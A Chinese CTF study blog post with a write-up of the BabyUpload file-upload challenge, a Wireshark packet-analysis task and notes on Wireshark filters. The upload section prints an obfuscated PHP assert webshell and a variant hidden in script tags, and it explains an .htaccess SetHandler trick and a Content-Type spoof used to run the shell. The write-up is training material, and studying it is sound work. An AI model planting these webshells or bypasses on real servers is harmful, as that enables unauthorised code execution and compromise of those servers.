1.[GXYCTF2019]BabyUpload
1)打開題目也是沒有任何提示,
2)進入環境,看到下面頁面猜測是文件上傳漏洞,下面開始傳文件
3)首先上傳一句話木馬 a.php,代碼如下:
下面這個代碼中并沒有寫傳統的一句話木馬,因為直接寫一句話木馬需要關閉系統防火墻。
<?php$a="a"."s";$b="s"."e"."rt";$c=$a.$b;$c($_POST['123']);
?>
提示后綴不能有ph,那么根據前面做過類似文件上傳的題,php3,php5,phtml等后綴也無法使用了。
5)那就將文件后綴改為 jpg,上傳后頁面如下:
6)由此我們得知,后端檢測出我們的.jpg文件源碼中含有php代碼。
那么只有將.jpg文件中的php代碼用 javascript 的形式代替了,代碼如下:
<script language='php'>$a = "a"."s";$b = "s"."e"."r"."t";$c = $a.$b;$c($_POST["123"]);
</script>
重新上傳,頁面如下:
7)這里也是上傳成功了,接下來按照之前做題慣例,它應該還得解析jpg文件中的php代碼了,這時就需要上傳.htaccess文件來幫助解析,它必須包含以下代碼
SetHandler application/x-httpd-php
這條命令可以解析所有后綴文件中的 php 代碼。
上傳出現這問題我也是懵了,抓個包看看吧
猜測應該是,后端代碼對文件類型--Content-type有限制。
這就需要我們在上傳 .htaccess 文件的同時,利用Burpsuite進行抓包,修改 Content-type為image/jpeg,如下:
修改為image/jpeg
然后放包
頁面顯示上傳成功(.htaccess successfully uploaded)
然后再次上傳jpg文件,如下:
由此可以拼接網址
http://c36ead8b-24f9-48f5-ab15-e7308cb50dc7.node5.buuoj.cn:81/upload/c9b8b9f7c985fa1d10ca30c0f9a2de85/b.jpg
然后用蟻劍鏈接
成功找到flag
總結一下這題簡單來說它就是過濾了php,限制了文件上傳的內容,然后需要解析jpg文件,需要上傳.htaccess文件來進行解析,以及修改數據類型,拼接url頭等
2.數據包中的線索
1)下載附件,用wireshark打開,從中進行數據分析
2)過濾一下http流
3)找到一個狀態值為200的,看著有點問題,打開seesee
看到里面是類似于base64編碼的一大篇
4)選中編碼去解碼,注意最后面多了個0要去掉
太大解析不出來,直接將他存為圖片
拿到? ?flag{209acebf6324a09671abc31c869de72c}
當然這里需要注意的是
/9j是jpg文件頭的 base64?編碼
3.最后加上昨天學的再總結一下流量分析
首先whireshark提供了三個主要面板,包括:
抓包面板(Capture Panel):
? ? ? ??抓包面板用于捕獲網絡數據包,并顯示已經捕獲的數據包列表。在該面板中,可以選擇捕獲的網絡接口、設置捕獲過濾器、啟動和停止抓包等操作。此外,還可以通過右鍵單擊數據包,查看詳細信息、導出數據包、跟蹤TCP流等。
數據包列表面板(Packet List Panel):
? ? ? ??數據包列表面板顯示已經捕獲的數據包列表,其中每個數據包占據一行,并列出了有關該數據包的一些關鍵信息,如時間戳、源IP地址、目標IP地址、協議類型、數據包長度等。此外,還可以通過對列表進行排序、篩選、搜索等操作,方便用戶查找和分析數據包。
數據包詳情面板(Packet Detail Panel):
? ? ? ??數據包詳情面板顯示選定數據包的詳細信息,包括各個協議層的數據結構和字段值。用戶可以通過展開不同的節點,查看不同的協議頭和數據負載,幫助用戶深入理解數據包的內容和意義。
常用語法:
(在搜索框輸入http即可看http的流量)
tcp:顯示所有TCP協議的數據包
udp:顯示所有UDP協議的數據包
http:顯示所有HTTP協議的數據包
dns:顯示所有DNS協議的數據包
icmp:顯示所有ICMP協議的數據包
ip地址篩選:
ip.addr == 192.168.0.1:顯示與指定IP地址相關的所有數據包
ip.src == 192.168.0.1 :顯示源IP地址為指定地址的數據包
ip.dst == 192.168.0.2:顯示目標IP地址為指定地址的數據包
端口篩選:
tcp.port == ?80:顯示使用指定TCP端口的數據包
udp.port == 53:顯示使用指定UDP端口的數據包
比較運算符:
==:等于,例如:http.request.method == "POST"
!=:不等于,例如:ip.addr != 192.168.0.1
<、>:小于、大于,例如:frame.len > 100 或 frame.len < 50,可以指定過濾數據包長度
數據包內容過濾規則:
http.request.method == "GET" 或 tcp.flags.syn == 1,可以通過指定數據包內容,只保留符合條件的數據包。
注:?? ?關于我也不太懂的一點
? ? ? # 就是在TCP三次握手過程中,客戶端向服務端發送一個SYN標志的數據包,表示請求建立連接。而tcp.flags.syn == 1就是Wireshark中用于匹配TCP SYN標志的過濾規則,其中1表示該標志位被置為1,表示該數據包是一個SYN數據包。當Wireshark捕獲到一個TCP數據包時,會檢查該數據包的TCP頭部中的SYN標志位是否被置為1,如果符合條件,則該數據包會被匹配并顯示出來。這樣,用戶就可以快速過濾出所有的TCP SYN數據包,方便進行相關的分析和處理。